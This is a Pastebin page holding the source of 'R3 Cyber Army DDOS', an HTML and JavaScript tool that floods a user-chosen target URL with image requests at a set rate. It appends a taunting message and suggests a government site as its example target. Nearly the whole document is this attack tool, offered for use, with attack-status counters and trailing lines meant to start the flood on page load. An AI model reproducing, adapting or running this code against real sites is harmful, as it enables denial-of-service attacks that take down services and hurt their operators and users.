Advertisement
k398rm

R3 Cyber Army DDOS

Jan 20th, 2013
26,570
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
HTML 5 5.32 KB | None | 0 0
  1. <html>
  2. <head>
  3.     <title>R3 DDOS v0.1</title>
  4. </head>
  5. <center><h1>R3 Cyber Army'Edition</h1></center>
  6. <body style="background-color:black; color:#FFFFFF;">
  7. <div style="position:absolute; width:20%; height:20%;">
  8. <div style="width:490px; height:326px; position:absolute;">
  9. <img alt="R3 Cyber Army "src="" />
  10. </div>
  11.  
  12. <div style="width:240px; height:100px; position:absolute;left:500px;">
  13.      <fieldset style="width:100%; height:100%;">
  14.         <legend>Step 1. Select your target:</legend>
  15.         <label>URL: <br /> <input id="targetURL" style="width:100%;" value="xxxxxxx" /></label> <!-- disabled="true" -->
  16.         <small>Ex : http://fbi.gov</small>
  17.     </fieldset>
  18. </div>
  19. <div style="width:240px; height:100px; position:absolute; left:780px;">
  20.      <fieldset style="width:100%; height:100%;">
  21.        <legend>Step 2. Ready?</legend>
  22.  
  23.         <button id="fireButton" style="background-color:black; border-color:#FFF; color:#FFF; width:240px; height:70px;">START</button>
  24.     </fieldset>
  25. </div>
  26.  
  27. <div style="width:240px; height:160px; position:absolute; left:500px; top:150px;">
  28.      <fieldset style="width:100%; height:100%;">
  29.         <legend>Optional. Options</legend>
  30.          <label>Requests per second : <input style="width:40px;" id="rps" value="100" /></label><br />
  31.  
  32.          <label>Append message : <br /><input style="width:100%;" id="message" value="We Are Hackers" /></label>
  33.     </fieldset>
  34. </div>
  35.  
  36. <div style="width:240px; height:160px;  position:absolute; left:780px; top:150px;">
  37.      <fieldset style="width:100%; height:100%;">
  38.          <legend>Attack status:</legend>
  39.         <dl>
  40.             <dt>Requested:</dt>
  41.             <dd id="requestedCtr">0</dd>
  42.             <dt style="opacity: 0.5; color: green;">Request OK :</dt>
  43.             <dd style="opacity: 0.5" id="succeededCtr">0</dd>
  44.             <dt style="opacity: 0.5; color: red;">Request failed :</dt>
  45.             <dd style="opacity: 0.5" id="failedCtr">0</dd>
  46.         </dl>
  47.     </fieldset>
  48. </div>
  49. </div>
  50.     <script>
  51.         (function () {
  52.             var fireInterval;
  53.             var isFiring = false;
  54.             var requestedCtrNode = document.getElementById("requestedCtr"),
  55.                 succeededCtrNode = document.getElementById("succeededCtr"),
  56.                 failedCtrNode = document.getElementById("failedCtr"),
  57.                 targetURLNode = document.getElementById("targetURL"),
  58.                 fireButton = document.getElementById("fireButton"),
  59.                 messageNode = document.getElementById("message"),
  60.                 rpsNode = document.getElementById("rps"),
  61.                 timeoutNode = document.getElementById("timeout");
  62.             var targetURL = targetURLNode.value;
  63.             targetURLNode.onchange = function () {
  64.                 targetURL = this.value;
  65.             };
  66.             var requestsHT = {}; // requests hash table, may come in handy later
  67.             var requestedCtr = 0,
  68.                 succeededCtr = 0,
  69.                 failedCtr = 0;
  70.             var makeHttpRequest = function () {
  71.                     if (requestedCtr > failedCtr + succeededCtr + 1000) { //Allow no more than 1000 hung requests
  72.                         return;
  73.                     };
  74.                    
  75.                     var rID =Number(new Date());
  76.                     var img = new Image();
  77.                     img.onerror = function () { onFail(rID); };
  78.                     img.onabort = function () { onFail(rID); };
  79.                     img.onload = function () { onSuccess(rID); }; // TODO: it may never happen if target URL is not an image... // but probably can be fixed with different methods
  80.                    
  81.                     img.setAttribute("src", targetURL + "?id=" + rID + "&msg=" + messageNode.value);
  82.                     requestsHT[rID] = img;
  83.                     onRequest(rID);
  84.                 };
  85.  
  86.             var onRequest = function (rID) {
  87.                     requestedCtr++;
  88.                     requestedCtrNode.innerHTML = requestedCtr;
  89.                 };
  90.  
  91.             var onComplete = function (rID) {
  92.                     delete requestsHT[rID];
  93.                 };
  94.  
  95.             var onFail = function (rID) {
  96.                    // failedCtr++;
  97.                     //failedCtrNode.innerHTML = failedCtr;
  98.                    
  99.                     succeededCtr++; //Seems like the url will always fail it it isn't an image
  100.                     succeededCtrNode.innerHTML = succeededCtr;
  101.                     delete requestsHT[rID]; // we can't keep it forever or it would blow up the browser
  102.                 };
  103.  
  104.             var onSuccess = function (rID) {
  105.                     succeededCtr++;
  106.                     succeededCtrNode.innerHTML = succeededCtr;
  107.                     delete requestsHT[rID];
  108.                 };
  109.  
  110.             fireButton.onclick = function () {
  111.                 if (isFiring) {
  112.                     clearInterval(fireInterval);
  113.                     isFiring = false;
  114.                     this.innerHTML = "START";
  115.                 } else {
  116.                     isFiring = true;
  117.                     this.innerHTML = "Stop flooding";
  118.  
  119.                     fireInterval = setInterval(makeHttpRequest, (1000 / parseInt(rpsNode.value) | 0));
  120.                 }
  121.             };
  122.  
  123.         })();
  124.  
  125. isFiring = true;
  126. document.getElementById("fireButton").innerHTML = "Stop flooding";
  127. fireInterval = setInterval(makeHttpRequest, (1000 / parseInt(document.getElementById("rps").value) | 0));
  128.     </script>
  129. </body>
  130. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement